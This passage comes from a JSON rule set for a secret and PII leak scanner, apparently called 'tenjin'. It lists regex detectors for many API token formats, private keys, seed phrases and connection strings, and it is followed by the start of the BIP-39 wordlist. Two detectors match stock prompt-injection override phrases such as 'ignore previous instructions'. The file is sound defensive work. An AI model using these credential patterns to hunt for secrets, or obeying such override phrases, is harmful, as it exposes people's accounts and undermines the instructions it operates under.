\"g\"\n },\n \"excerpt\": {\n \"kind\": \"mask\",\n \"keep\": 3\n }\n },\n {\n \"id\": \"github-token\",\n \"tier\": \"block\",\n \"scopes\": [\"query\", \"publish\", \"team\"],\n \"description\": \"GitHub classic PAT/OAuth/app/refresh token or fine-grained PAT (github_pat_).\",\n \"source\": \"gitleaks:github-pat + github-fine-grained-pat\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\b(?:gh[posru]_[0-9A-Za-z]{36}|github_pat_[0-9A-Za-z_]{82})\\\\b\",\n \"flags\": \"g\"\n },\n \"excerpt\": {\n \"kind\": \"mask\",\n \"keep\": 4\n }\n },\n {\n \"id\": \"slack-token\",\n \"tier\": \"block\",\n \"scopes\": [\"query\", \"publish\", \"team\"],\n \"description\": \"Slack bot/user/app/refresh/legacy token.\",\n \"source\": \"gitleaks:slack-*-token\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\bxox[baprs]-[0-9A-Za-z-]{10,}\\\\b\",\n \"flags\": \"g\"\n },\n \"excerpt\": {\n \"kind\": \"mask\",\n \"keep\": 5\n }\n },\n {\n \"id\": \"stripe-token\",\n \"tier\": \"block\",\n \"scopes\": [\"query\", \"publish\", \"team\"],\n \"description\": \"Stripe live or test secret/restricted key.\",\n \"source\": \"gitleaks:stripe-access-token\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\b[sr]k_(?:live|test)_[0-9A-Za-z]{10,99}\\\\b\",\n \"flags\": \"g\"\n },\n \"excerpt\": {\n \"kind\": \"mask\",\n \"keep\": 8\n }\n },\n {\n \"id\": \"anthropic-key\",\n \"tier\": \"block\",\n \"scopes\": [\"query\", \"publish\", \"team\"],\n \"description\": \"Anthropic API key (sk-ant-).\",\n \"source\": \"gitleaks:anthropic-api-key\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\bsk-ant-[0-9A-Za-z_-]{20,}\\\\b\",\n \"flags\": \"g\"\n },\n \"excerpt\": {\n \"kind\": \"mask\",\n \"keep\": 7\n }\n },\n {\n \"id\": \"openai-key\",\n \"tier\": \"block\",\n \"scopes\": [\"query\", \"publish\", \"team\"],\n \"description\": \"OpenAI key: classic sk- plus sk-proj-/sk-svcacct-/sk-admin-. The body must carry a digit so sk- kebab identifiers do not hard-block. Project, service-account and admin keys carry `_` and `-` throughout the body, so the prefixed branch takes the wider class and its own trailing guard; the bare branch keeps the digit requirement and its own guard. The guards live INSIDE each branch: a shared guard outside the alternation made a classic key followed by `-old` fail outright (review round 6).\",\n \"source\": \"gitleaks:openai-api-key\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\bsk-(?!ant-)(?:(?:proj|svcacct|admin)-[0-9A-Za-z_-]{20,}(?![0-9A-Za-z_-])|(?=[0-9A-Za-z]*[0-9])[0-9A-Za-z]{20,}(?![0-9A-Za-z]))\",\n \"flags\": \"g\"\n },\n \"excerpt\": {\n \"kind\": \"mask\",\n \"keep\": 3\n }\n },\n {\n \"id\": \"google-key\",\n \"tier\": \"block\",\n \"scopes\": [\"query\", \"publish\", \"team\"],\n \"description\": \"Google API key (AIza) or OAuth client secret (GOCSPX-).\",\n \"source\": \"gitleaks:gcp-api-key + gcp-oauth-client-secret\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\b(?:AIza[0-9A-Za-z_-]{35}|GOCSPX-[0-9A-Za-z_-]{20,})\\\\b\",\n \"flags\": \"g\"\n },\n \"excerpt\": {\n \"kind\": \"custom\",\n \"handler\": \"googleKey\"\n }\n },\n {\n \"id\": \"npm-token\",\n \"tier\": \"block\",\n \"scopes\": [\"query\", \"publish\", \"team\"],\n \"description\": \"npm access token.\",\n \"source\": \"gitleaks:npm-access-token\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\bnpm_[0-9A-Za-z]{36}\\\\b\",\n \"flags\": \"g\"\n },\n \"excerpt\": {\n \"kind\": \"mask\",\n \"keep\": 4\n }\n },\n {\n \"id\": \"supabase-token\",\n \"tier\": \"block\",\n \"scopes\": [\"query\", \"publish\", \"team\"],\n \"description\": \"Supabase personal access token (sbp_) or secret/publishable API key (sb_*_).\",\n \"source\": \"gitleaks:supabase-access-token\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\bsbp_[0-9a-f]{40}\\\\b|\\\\bsb_(?:secret|publishable)_[0-9A-Za-z_-]{20,}\\\\b\",\n \"flags\": \"g\"\n },\n \"excerpt\": {\n \"kind\": \"mask\",\n \"keep\": 4\n }\n },\n {\n \"id\": \"twilio-key\",\n \"tier\": \"block\",\n \"scopes\": [\"query\", \"publish\", \"team\"],\n \"description\": \"Twilio API key SID (SK + 32 lowercase hex).\",\n \"source\": \"gitleaks:twilio-api-key\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\bSK[0-9a-f]{32}\\\\b\",\n \"flags\": \"g\"\n },\n \"excerpt\": {\n \"kind\": \"mask\",\n \"keep\": 2\n }\n },\n {\n \"id\": \"sendgrid-token\",\n \"tier\": \"block\",\n \"scopes\": [\"query\", \"publish\", \"team\"],\n \"description\": \"SendGrid API key (SG.<id>.<secret>).\",\n \"source\": \"gitleaks:sendgrid-api-token\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\bSG\\\\.[0-9A-Za-z_-]{16,32}\\\\.[0-9A-Za-z_-]{16,64}\\\\b\",\n \"flags\": \"g\"\n },\n \"excerpt\": {\n \"kind\": \"mask\",\n \"keep\": 3\n }\n },\n {\n \"id\": \"huggingface-token\",\n \"tier\": \"block\",\n \"scopes\": [\"query\", \"publish\", \"team\"],\n \"description\": \"Hugging Face user access token (hf_).\",\n \"source\": \"gitleaks:huggingface-access-token\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\bhf_[0-9A-Za-z]{30,}\\\\b\",\n \"flags\": \"g\"\n },\n \"excerpt\": {\n \"kind\": \"mask\",\n \"keep\": 3\n }\n },\n {\n \"id\": \"vercel-token\",\n \"tier\": \"block\",\n \"scopes\": [\"query\", \"publish\", \"team\"],\n \"description\": \"Vercel Blob read/write store token.\",\n \"source\": \"tenjin (shape from the Vercel Blob docs)\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\bvercel_blob_[a-z]{2}_[0-9A-Za-z_]{24,}\\\\b\",\n \"flags\": \"g\"\n },\n \"excerpt\": {\n \"kind\": \"mask\",\n \"keep\": 12\n }\n },\n {\n \"id\": \"vercel-token\",\n \"tier\": \"block\",\n \"scopes\": [\"query\", \"publish\", \"team\"],\n \"description\": \"Vercel platform token (vcp_/vci_/vca_/vcr_/vck_ prefixes).\",\n \"source\": \"secretlint:@secretlint/secretlint-rule-vercel\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\b(?:vcp|vci|vca|vcr|vck)_[0-9A-Za-z]{20,60}(?![0-9A-Za-z])\",\n \"flags\": \"g\"\n },\n \"excerpt\": {\n \"kind\": \"mask\",\n \"keep\": 4\n }\n },\n {\n \"id\": \"notion-token\",\n \"tier\": \"block\",\n \"scopes\": [\"query\", \"publish\", \"team\"],\n \"description\": \"Notion integration token (ntn_).\",\n \"source\": \"secretlint:@secretlint/secretlint-rule-notion\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\bntn_[0-9]{11}[0-9A-Za-z]{35}(?![0-9A-Za-z])\",\n \"flags\": \"g\"\n },\n \"excerpt\": {\n \"kind\": \"mask\",\n \"keep\": 4\n }\n },\n {\n \"id\": \"linear-token\",\n \"tier\": \"block\",\n \"scopes\": [\"query\", \"publish\", \"team\"],\n \"description\": \"Linear API key (lin_api_).\",\n \"source\": \"secretlint:@secretlint/secretlint-rule-linear\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\blin_api_[0-9A-Za-z_]{32,128}(?![0-9A-Za-z_])\",\n \"flags\": \"g\"\n },\n \"excerpt\": {\n \"kind\": \"mask\",\n \"keep\": 8\n }\n },\n {\n \"id\": \"figma-token\",\n \"tier\": \"block\",\n \"scopes\": [\"query\", \"publish\", \"team\"],\n \"description\": \"Figma personal access token (figd_).\",\n \"source\": \"secretlint:@secretlint/secretlint-rule-figma\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\bfigd_[0-9A-Za-z_-]{40,200}(?![0-9A-Za-z_-])\",\n \"flags\": \"g\"\n },\n \"excerpt\": {\n \"kind\": \"mask\",\n \"keep\": 5\n }\n },\n {\n \"id\": \"gitlab-token\",\n \"tier\": \"block\",\n \"scopes\": [\"query\", \"publish\", \"team\"],\n \"description\": \"GitLab personal access token (glpat-).\",\n \"source\": \"secretlint:@secretlint/secretlint-rule-gitlab\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\bglpat-[0-9A-Za-z_-]{20,128}(?![0-9A-Za-z_-])\",\n \"flags\": \"g\"\n },\n \"excerpt\": {\n \"kind\": \"mask\",\n \"keep\": 6\n }\n },\n {\n \"id\": \"docker-token\",\n \"tier\": \"block\",\n \"scopes\": [\"query\", \"publish\", \"team\"],\n \"description\": \"Docker Hub personal access token (dckr_pat_).\",\n \"source\": \"secretlint:@secretlint/secretlint-rule-docker\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\bdckr_pat_[0-9A-Za-z_-]{27}(?![0-9A-Za-z_-])\",\n \"flags\": \"g\"\n },\n \"excerpt\": {\n \"kind\": \"mask\",\n \"keep\": 9\n }\n },\n {\n \"id\": \"cloudflare-token\",\n \"tier\": \"block\",\n \"scopes\": [\"query\", \"publish\", \"team\"],\n \"description\": \"Cloudflare API key or account/user token (cfk_/cfut_/cfat_).\",\n \"source\": \"secretlint:@secretlint/secretlint-rule-cloudflare\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\b(?:cfk|cfut|cfat)_[0-9A-Za-z]{40}[0-9a-f]{8}(?![0-9A-Za-z])\",\n \"flags\": \"g\"\n },\n \"excerpt\": {\n \"kind\": \"mask\",\n \"keep\": 4\n }\n },\n {\n \"id\": \"databricks-token\",\n \"tier\": \"block\",\n \"scopes\": [\"query\", \"publish\", \"team\"],\n \"description\": \"Databricks personal access token (dapi).\",\n \"source\": \"secretlint:@secretlint/secretlint-rule-databricks\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\bdapi[0-9A-Fa-f]{32}(?:-[0-9])?(?![0-9A-Fa-f])\",\n \"flags\": \"g\"\n },\n \"excerpt\": {\n \"kind\": \"mask\",\n \"keep\": 4\n }\n },\n {\n \"id\": \"openssh-private-key\",\n \"tier\": \"block\",\n \"scopes\": [\"query\", \"publish\", \"team\"],\n \"description\": \"OpenSSH private key body pasted without its PEM framing (base64 of the openssh-key-v1 magic).\",\n \"source\": \"gitleaks:private-key (framing-free variant)\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\bb3BlbnNzaC1rZXktdjEA[0-9A-Za-z+/=]{20,}\",\n \"flags\": \"g\"\n },\n \"excerpt\": {\n \"kind\": \"mask\",\n \"keep\": 8\n }\n },\n {\n \"id\": \"totp-uri\",\n \"tier\": \"block\",\n \"scopes\": [\"query\", \"publish\", \"team\"],\n \"description\": \"otpauth:// TOTP/HOTP provisioning URI; its secret= parameter is a live second factor.\",\n \"source\": \"tenjin (RFC-style otpauth key URI)\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\botpauth:\\\\/\\\\/[ht]otp\\\\/[^\\\\s\\\"'`<>)\\\\]]+\",\n \"flags\": \"gi\"\n },\n \"excerpt\": {\n \"kind\": \"mask\",\n \"keep\": 15\n }\n },\n {\n \"id\": \"db-connection-uri\",\n \"tier\": \"block\",\n \"scopes\": [\"query\", \"publish\", \"team\"],\n \"description\": \"Basic-auth style URI with an embedded password (scheme://user:pass@host), including database connection strings. The scheme run is length-bounded: unbounded, it backtracks quadratically across a transcript-length dotted-token line that never reaches ://. The user may be empty: `redis://:password@host` is the standard Redis form.\",\n \"source\": \"tenjin\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\b([a-z][a-z0-9+.-]{0,31}):\\\\/\\\\/([^\\\\s:@/]*):([^\\\\s@/]+)@([^\\\\s/:]+)\",\n \"flags\": \"gi\"\n },\n \"excerpt\": {\n \"kind\": \"custom\",\n \"handler\": \"dbConnectionUri\"\n },\n \"skip\": {\n \"handler\": \"exampleDbPassword\"\n }\n },\n {\n \"id\": \"bearer-token\",\n \"tier\": \"block\",\n \"scopes\": [\"query\", \"publish\", \"team\"],\n \"description\": \"Authorization: Bearer header carrying a live token.\",\n \"source\": \"tenjin\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\bAuthorization:\\\\s*Bearer\\\\s+(\\\\S{8,})\",\n \"flags\": \"gi\"\n },\n \"excerpt\": {\n \"kind\": \"custom\",\n \"handler\": \"bearerToken\"\n },\n \"skip\": {\n \"handler\": \"placeholderGroup1\"\n }\n },\n {\n \"id\": \"wallet-address\",\n \"tier\": \"warn\",\n \"scopes\": [\"publish\"],\n \"description\": \"EVM account/contract address (0x + 40 hex).\",\n \"source\": \"blockrun-mcp (wallet-key leak scanner)\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"(?<![0-9a-fx])0x[0-9a-fA-F]{40}(?![0-9a-fA-F])\",\n \"flags\": \"gi\"\n },\n \"excerpt\": {\n \"kind\": \"abbreviate\",\n \"head\": 6,\n \"tail\": 4\n }\n },\n {\n \"id\": \"confidential-marker\",\n \"tier\": \"warn\",\n \"scopes\": [\"publish\"],\n \"description\": \"Document classification legend (CONFIDENTIAL stamp, INTERNAL USE ONLY, DO NOT DISTRIBUTE). Case-sensitive: marker-shaped, not word-in-phrase.\",\n \"source\": \"tenjin\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\b(?:STRICTLY|COMPANY|HIGHLY)\\\\s+CONFIDENTIAL\\\\b|(?<![A-Z]{2,}[ \\\\t]+)\\\\bCONFIDENTIAL\\\\b|\\\\bCONFIDENTIAL\\\\b(?![ \\\\t]+[A-Z]{2,})|\\\\bConfidential(?=\\\\s*(?:[-:.,;–—]|$))|\\\\b(?:INTERNAL|Internal)(?:\\\\s+(?:USE|Use))?\\\\s+(?:ONLY|Only)\\\\b|\\\\b(?:DO\\\\s+NOT\\\\s+DISTRIBUTE|Do\\\\s+Not\\\\s+Distribute)\\\\b\",\n \"flags\": \"g\"\n },\n \"excerpt\": {\n \"kind\": \"verbatim\"\n }\n },\n {\n \"id\": \"internal-hostname\",\n \"tier\": \"warn\",\n \"scopes\": [\"publish\"],\n \"description\": \"Hostname on a private-use suffix (.internal, .corp, .local, .lan, .intranet). Label count and label length are bounded: an unbounded (label\\\\.)+ run is quadratic on a transcript-length line of dotted digits.\",\n \"source\": \"tenjin\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\b(?:[a-z0-9-]{1,63}\\\\.){1,6}(?:internal|corp|local|lan|intranet)\\\\b\",\n \"flags\": \"gi\"\n },\n \"excerpt\": {\n \"kind\": \"verbatim\"\n }\n },\n {\n \"id\": \"private-network-endpoint\",\n \"tier\": \"warn\",\n \"scopes\": [\"publish\"],\n \"description\": \"RFC1918 / link-local IPv4 endpoint (10/8, 172.16/12, 192.168/16, 169.254/16).\",\n \"source\": \"tenjin (closes tenjin-agent#45)\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"(?<![\\\\d.])(?:10\\\\.(?:25[0-5]|2[0-4]\\\\d|1\\\\d\\\\d|[1-9]?\\\\d)\\\\.(?:25[0-5]|2[0-4]\\\\d|1\\\\d\\\\d|[1-9]?\\\\d)\\\\.(?:25[0-5]|2[0-4]\\\\d|1\\\\d\\\\d|[1-9]?\\\\d)|172\\\\.(?:1[6-9]|2\\\\d|3[01])\\\\.(?:25[0-5]|2[0-4]\\\\d|1\\\\d\\\\d|[1-9]?\\\\d)\\\\.(?:25[0-5]|2[0-4]\\\\d|1\\\\d\\\\d|[1-9]?\\\\d)|192\\\\.168\\\\.(?:25[0-5]|2[0-4]\\\\d|1\\\\d\\\\d|[1-9]?\\\\d)\\\\.(?:25[0-5]|2[0-4]\\\\d|1\\\\d\\\\d|[1-9]?\\\\d)|169\\\\.254\\\\.(?:25[0-5]|2[0-4]\\\\d|1\\\\d\\\\d|[1-9]?\\\\d)\\\\.(?:25[0-5]|2[0-4]\\\\d|1\\\\d\\\\d|[1-9]?\\\\d))(?::\\\\d{2,5})?(?!\\\\.?\\\\d)\",\n \"flags\": \"g\"\n },\n \"excerpt\": {\n \"kind\": \"verbatim\"\n }\n },\n {\n \"id\": \"private-network-endpoint\",\n \"tier\": \"warn\",\n \"scopes\": [\"publish\"],\n \"description\": \"Loopback / wildcard-bind development endpoint. Scheme or port required so prose about localhost does not warn.\",\n \"source\": \"tenjin (closes tenjin-agent#45)\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"https?:\\\\/\\\\/(?:localhost|127\\\\.0\\\\.0\\\\.1|0\\\\.0\\\\.0\\\\.0|\\\\[::1\\\\])(?::\\\\d{2,5})?(?:\\\\/[^\\\\s\\\"'`<>?&)\\\\]]*)?|\\\\b(?:localhost|127\\\\.0\\\\.0\\\\.1|0\\\\.0\\\\.0\\\\.0):\\\\d{2,5}\\\\b\",\n \"flags\": \"gi\"\n },\n \"excerpt\": {\n \"kind\": \"verbatim\",\n \"max\": 80\n }\n },\n {\n \"id\": \"collaboration-url\",\n \"tier\": \"warn\",\n \"scopes\": [\"publish\"],\n \"description\": \"Link into a collaboration workspace (Google Docs/Drive, Notion, Figma, Slack archives, Linear, Jira/Confluence): the target is usually access-controlled.\",\n \"source\": \"tenjin (closes tenjin-agent#45)\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"https?:\\\\/\\\\/(?:docs\\\\.google\\\\.com|drive\\\\.google\\\\.com|(?:[a-z0-9-]+\\\\.)?notion\\\\.(?:so|site)|(?:www\\\\.)?figma\\\\.com|(?:[a-z0-9-]+\\\\.)?slack\\\\.com\\\\/archives|linear\\\\.app|[a-z0-9-]+\\\\.atlassian\\\\.net)(?:\\\\/[^\\\\s\\\"'`<>?&)\\\\]]*)?\",\n \"flags\": \"gi\"\n },\n \"excerpt\": {\n \"kind\": \"verbatim\",\n \"max\": 80\n }\n },\n {\n \"id\": \"cloud-resource-id\",\n \"tier\": \"warn\",\n \"scopes\": [\"publish\"],\n \"description\": \"AWS ARN: names an account, region, and resource.\",\n \"source\": \"tenjin (closes tenjin-agent#45)\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\barn:aws[0-9a-z-]*:[0-9a-z-]+:[0-9a-z-]*:\\\\d{0,12}:[^\\\\s\\\"'`<>,)\\\\]]+\",\n \"flags\": \"gi\"\n },\n \"excerpt\": {\n \"kind\": \"verbatim\",\n \"max\": 80\n }\n },\n {\n \"id\": \"cloud-resource-id\",\n \"tier\": \"warn\",\n \"scopes\": [\"publish\"],\n \"description\": \"GCP fully-qualified resource name (projects/<id>/<collection>/<name>).\",\n \"source\": \"tenjin (closes tenjin-agent#45)\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\bprojects\\\\/[a-z][a-z0-9-]{4,28}[a-z0-9]\\\\/(?:locations|topics|subscriptions|secrets|instances|serviceAccounts|datasets|buckets|zones|keyRings|clusters|jobs|models)\\\\/[^\\\\s\\\"'`<>,)\\\\]]+\",\n \"flags\": \"g\"\n },\n \"excerpt\": {\n \"kind\": \"verbatim\",\n \"max\": 80\n }\n },\n {\n \"id\": \"cloud-resource-id\",\n \"tier\": \"warn\",\n \"scopes\": [\"publish\"],\n \"description\": \"Azure resource id: /subscriptions/<guid>/resourceGroups/<name>/...\",\n \"source\": \"tenjin (closes tenjin-agent#45)\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\/subscriptions\\\\/[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}\\\\/resourceGroups\\\\/[^\\\\s\\\"'`<>,)\\\\]/]+(?:\\\\/[^\\\\s\\\"'`<>,)\\\\]]*)?\",\n \"flags\": \"g\"\n },\n \"excerpt\": {\n \"kind\": \"verbatim\",\n \"max\": 80\n }\n },\n {\n \"id\": \"cloud-resource-id\",\n \"tier\": \"warn\",\n \"scopes\": [\"publish\"],\n \"description\": \"Cloud object-storage location (s3://, gs://, or an S3/Azure Blob/GCS bucket hostname).\",\n \"source\": \"tenjin (closes tenjin-agent#45)\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\b(?:s3|gs):\\\\/\\\\/[a-z0-9][a-z0-9._-]{2,62}(?:\\\\/[^\\\\s\\\"'`<>,?&)\\\\]]*)?|\\\\b[a-z0-9][a-z0-9.-]{1,62}\\\\.(?:s3(?:[.-][a-z0-9-]+)?\\\\.amazonaws\\\\.com|blob\\\\.core\\\\.windows\\\\.net|storage\\\\.googleapis\\\\.com)\\\\b\",\n \"flags\": \"gi\"\n },\n \"excerpt\": {\n \"kind\": \"verbatim\",\n \"max\": 80\n }\n },\n {\n \"id\": \"local-path\",\n \"tier\": \"warn\",\n \"scopes\": [\"publish\"],\n \"description\": \"Home-anchored local filesystem path: leaks the machine username and private project layout.\",\n \"source\": \"tenjin\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"(?:(?<![\\\\w.-])\\\\/(?:Users|home)\\\\/([A-Za-z0-9._-]+)(?:\\\\/[^\\\\s\\\"'`)\\\\]}>:,;?&/]+)+|\\\\b[A-Za-z]:\\\\\\\\[Uu]sers\\\\\\\\([^\\\\\\\\\\\\s\\\"']+)(?:\\\\\\\\[^\\\\\\\\\\\\s\\\"']+)+)\",\n \"flags\": \"dg\"\n },\n \"excerpt\": {\n \"kind\": \"custom\",\n \"handler\": \"localPath\"\n },\n \"skip\": {\n \"handler\": \"placeholderUsername\"\n }\n },\n {\n \"id\": \"customer-identifier\",\n \"tier\": \"warn\",\n \"scopes\": [\"publish\"],\n \"description\": \"Labeled customer/account/tenant identifier with a literal value.\",\n \"source\": \"tenjin\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\b((?:customer|client|account|tenant|subscriber)[ _-]?(?:id|number|no))\\\\b\\\\s*[:=#]\\\\s*(\\\"[^\\\"]{2,}\\\"|'[^']{2,}'|[A-Za-z0-9][A-Za-z0-9._-]{2,})\",\n \"flags\": \"gi\"\n },\n \"excerpt\": {\n \"kind\": \"custom\",\n \"handler\": \"labeledValue\"\n },\n \"skip\": {\n \"handler\": \"nonLiteralValue\"\n }\n },\n {\n \"id\": \"paid-content-marker\",\n \"tier\": \"warn\",\n \"scopes\": [\"publish\"],\n \"description\": \"Third-party rights legend suggesting copied licensed material. Legend shapes only: bare paywall vocabulary is this marketplace’s own subject matter.\",\n \"source\": \"tenjin\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\ball rights reserved\\\\b|\\\\b(?:reprinted|reproduced|used) with permission\\\\b|\\\\bnot for (?:redistribution|republication)\\\\b|\\\\bdo not (?:redistribute|republish)\\\\b|(?:©|\\\\(c\\\\)|copyright)\\\\s*(?:19|20)\\\\d{2}\\\\b\",\n \"flags\": \"gi\"\n },\n \"excerpt\": {\n \"kind\": \"verbatim\"\n }\n },\n {\n \"id\": \"embedded-instruction\",\n \"tier\": \"warn\",\n \"scopes\": [\"publish\"],\n \"description\": \"Injection-shaped imperative captured from a prompt or tool output.\",\n \"source\": \"tenjin\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\b(?:ignore|disregard|forget)\\\\s+(?:all\\\\s+|any\\\\s+)?(?:previous|prior|above|earlier|preceding)\\\\s+(?:instructions?|prompts?|context|messages?)\\\\b|\\\\bdo not (?:reveal|disclose|mention) (?:this|these|the above)\\\\b\",\n \"flags\": \"gi\"\n },\n \"excerpt\": {\n \"kind\": \"verbatim\"\n }\n },\n {\n \"id\": \"embedded-instruction\",\n \"tier\": \"warn\",\n \"scopes\": [\"publish\"],\n \"description\": \"Hidden-prompt document header. Case-sensitive: the all-caps header form is the injection-typed one.\",\n \"source\": \"tenjin\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\bBEGIN (?:SYSTEM|HIDDEN) (?:PROMPT|INSTRUCTIONS)\\\\b\",\n \"flags\": \"g\"\n },\n \"excerpt\": {\n \"kind\": \"verbatim\"\n }\n },\n {\n \"id\": \"email\",\n \"tier\": \"warn\",\n \"scopes\": [\"publish\"],\n \"description\": \"Email address (PII), subsuming corporate-domain addresses. Lengths follow the RFC limits so the local part and the domain cannot backtrack against each other: unbounded, the pair is quadratic on a transcript-length line.\",\n \"source\": \"tenjin\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\b[A-Za-z0-9._%+-]{1,64}@(?:[A-Za-z0-9](?:[A-Za-z0-9-]{0,61}[A-Za-z0-9])?\\\\.){1,8}[A-Za-z]{2,24}\\\\b\",\n \"flags\": \"g\"\n },\n \"excerpt\": {\n \"kind\": \"verbatim\"\n },\n \"skip\": {\n \"handler\": \"reservedExampleEmail\"\n }\n },\n {\n \"id\": \"phone\",\n \"tier\": \"warn\",\n \"scopes\": [\"publish\"],\n \"description\": \"Telephone number (PII).\",\n \"source\": \"tenjin\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"(?<!\\\\d)(?:\\\\+?\\\\d{1,2}[\\\\s.-]?)?(?:\\\\(\\\\d{3}\\\\)|\\\\d{3})[\\\\s.-]\\\\d{3}[\\\\s.-]\\\\d{4}(?!\\\\d)\",\n \"flags\": \"g\"\n },\n \"excerpt\": {\n \"kind\": \"verbatim\"\n }\n },\n {\n \"id\": \"raw-private-key\",\n \"tier\": \"block\",\n \"scopes\": [\"publish\", \"team\"],\n \"description\": \"0x + 64 hex with no hash context. Demoted to the warn detector hex32-value when a hash/identifier label precedes it (within two intervening tokens, across markdown and quote punctuation), when it sits inside an http(s) URL, or when it is one of the publicHexConstants below. An unlabeled bare 64-hex stays block: that is the floor.\",\n \"source\": \"blockrun-mcp (wallet-key leak scanner)\",\n \"match\": {\n \"kind\": \"algorithm\",\n \"algorithm\": \"hex64\"\n },\n \"excerpt\": {\n \"kind\": \"custom\",\n \"handler\": \"hex64\"\n }\n },\n {\n \"id\": \"pem-private-key\",\n \"tier\": \"block\",\n \"scopes\": [\"publish\", \"team\"],\n \"description\": \"PEM private-key armor (-----BEGIN ... PRIVATE KEY-----), RSA/EC/OPENSSH/PGP variants.\",\n \"source\": \"gitleaks:private-key\",\n \"match\": {\n \"kind\": \"algorithm\",\n \"algorithm\": \"pemBlock\"\n },\n \"excerpt\": {\n \"kind\": \"custom\",\n \"handler\": \"pemBlock\"\n }\n },\n {\n \"id\": \"bip39-seed-phrase\",\n \"tier\": \"block\",\n \"scopes\": [\"publish\", \"team\"],\n \"description\": \"Twelve or more consecutive BIP-39 English wordlist words separated only by spaces or tabs: a wallet recovery phrase.\",\n \"source\": \"tenjin; wordlist from BIP-0039 (see NOTICE.md)\",\n \"match\": {\n \"kind\": \"algorithm\",\n \"algorithm\": \"bip39\"\n },\n \"excerpt\": {\n \"kind\": \"custom\",\n \"handler\": \"bip39\"\n }\n },\n {\n \"id\": \"env-dump-block\",\n \"tier\": \"warn\",\n \"scopes\": [\"publish\"],\n \"description\": \"Three or more consecutive SHOUTY_KEY=value lines carrying at least one substantial literal: a pasted .env file.\",\n \"source\": \"tenjin\",\n \"match\": {\n \"kind\": \"algorithm\",\n \"algorithm\": \"envDump\"\n },\n \"excerpt\": {\n \"kind\": \"custom\",\n \"handler\": \"envDump\"\n }\n },\n {\n \"id\": \"high-entropy-string\",\n \"tier\": \"warn\",\n \"scopes\": [\"publish\"],\n \"description\": \"Catch-all for unknown credential formats: a long mixed-case alphanumeric token whose Shannon entropy and case-run profile match random key material rather than an identifier.\",\n \"source\": \"tenjin (entropy heuristic in the spirit of gitleaks entropy gating)\",\n \"match\": {\n \"kind\": \"algorithm\",\n \"algorithm\": \"entropy\"\n },\n \"excerpt\": {\n \"kind\": \"custom\",\n \"handler\": \"entropy\"\n }\n },\n {\n \"id\": \"long-verbatim-quote\",\n \"tier\": \"warn\",\n \"scopes\": [\"publish\"],\n \"description\": \"Fenced block or blockquote run long enough to read as copied third-party material.\",\n \"source\": \"tenjin\",\n \"match\": {\n \"kind\": \"algorithm\",\n \"algorithm\": \"longVerbatim\"\n },\n \"excerpt\": {\n \"kind\": \"custom\",\n \"handler\": \"longVerbatim\"\n }\n }\n ]\n}\n","{\n \"source\": \"BIP-0039 English wordlist (bitcoin/bips), as distributed by @scure/bip39 (MIT). Vendored as data, not as a dependency: see NOTICE.md.\",\n \"count\": 2048,\n \"words\": \"abandon ability able about above absent absorb abstract absurd abuse access accident account accuse achieve acid acoustic acquire across act action actor actress actual adapt add addict address adjust admit adult advance advice aerobic affair afford afraid again age agent agree ahead aim air airport aisle alarm album alcohol alert alien all alley allow almost alone alpha already also alter always amateur amazing among amount amused analyst anchor ancient anger angle angry animal ankle announce annual another answer antenna antique anxiety any apart apology appear apple approve april arch arctic area arena argue arm armed armor army around arrange arrest arrive arrow art artefact artist artwork ask aspect assault asset assist assume asthma athlete atom attack attend attitude attract auction audit august aunt author auto autumn average avocado avoid awake aware away awesome awful awkward axis baby bachelor bacon badge bag balance balcony ball bamboo banana banner bar barely bargain barrel base basic basket battle beach bean beauty because become beef before begin behave behind believe below belt bench benefit best betray better between beyond bicycle bid bike bind biology bird birth bitter black blade blame blanket blast bleak bless blind blood 